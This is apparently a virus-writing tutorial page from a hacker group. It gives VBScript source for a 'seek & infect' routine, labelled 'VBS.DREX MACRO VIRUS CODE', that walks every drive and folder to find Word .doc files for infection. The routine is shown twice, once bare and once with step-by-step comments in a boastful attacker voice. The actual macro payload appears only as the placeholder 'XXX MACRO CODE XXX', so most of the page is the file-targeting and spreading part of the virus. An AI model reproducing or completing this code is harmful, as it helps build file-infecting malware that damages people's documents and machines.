2002 - 2004 << Back | Fwrd >>

Dim Fso, Drives, Drive, Folder, Files, File, Subfolders,Subfolder


Set FSO = CreateObject("Scripting.FileSystemObject")

Set Drives=FSO.drives

For Each Drive In Drives

If Drive.isready then


SearchDoc drive


End If


Next

Function SearchDoc(Path)

Set Folder=Fso.GetFolder(Path)


Set Files = Folder.Files


For Each File in Files

If Fso.GetExtensionName(File.Path)="doc" Then





XXX MACRO CODE XXX





End If

Next


Set SubFolders = Folder.SubFolders


For Each SubFolder in SubFolders


SearchDoc SubFolder.Path


Next

'// ******************************************


'// * VBS.DREX MACRO VIRUS CODE 17-05-03 (D) *


'// * AN EXAMPLE FOR WRITING PURPOS ONLY (R) *


'// * Written By BlackSnake - BinarVTeam (E) *


'// * Seek & Infect Function Source Code (X) *


'// ******************************************





'// * Define File System Object





Dim Fso, Drives, Drive, Folder, Files, File, Subfolders,Subfolder


Set FSO = CreateObject("Scripting.FileSystemObject")





'// * Get a list of drives from FSO





Set Drives=FSO.drives





'// * For each drive we'll call the function


'// * Below, then get a list of folders





For Each Drive In Drives





'// * Now, is the drive ready?





If Drive.isready then





'// * If it is, call the function





SearchDoc drive





End If


Next





'// * Start the function, declare it





Function SearchDoc(Path)





'// * Here we got the folder list from FSO,


'// * Just like we did when we pulled out a list of drives





Set Folder=Fso.GetFolder(Path)





'// * We got to the main idea, we've just got the


'// * list of files - this time by the Folder object





Set Files = Folder.Files





'// * Just like when you type "DIR" in DOS, here


'// * you create the list with a FOR loop





For Each File in Files





'// * Lock and load!


'// * Check if this is a Word document





If Fso.GetExtensionName(File.Path)="doc" Then





'// * Yes, it is - Start the infection code





XXX MACRO CODE XXX





'// * Stop the infection code





End If





'// * Should I search in the Sub-directories? Hell yeah!





Next





'// * Get a list of Sub-dirs with the same object - Why?


'// * When you type "DIR" in DOS, the output doesn't show only


'// * Files, but SubDirectories too as well... so it's the same


'// * "DIR" command - Therefore we'll use the same object:





Set SubFolders = Folder.SubFolders





'// * Again, the FOR loop





For Each SubFolder in SubFolders





'// * Call the function for each subdir -





SearchDoc SubFolder.Path


Next





'// * -------------------- END OF CODE --------------------





'// * Here it is, mum - I've done my homework!


'// * Shall I check my mistakes with your hardware?